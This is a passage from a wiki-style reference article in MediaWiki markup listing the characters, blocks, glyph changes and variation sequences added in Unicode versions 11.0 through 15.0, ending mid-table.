* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
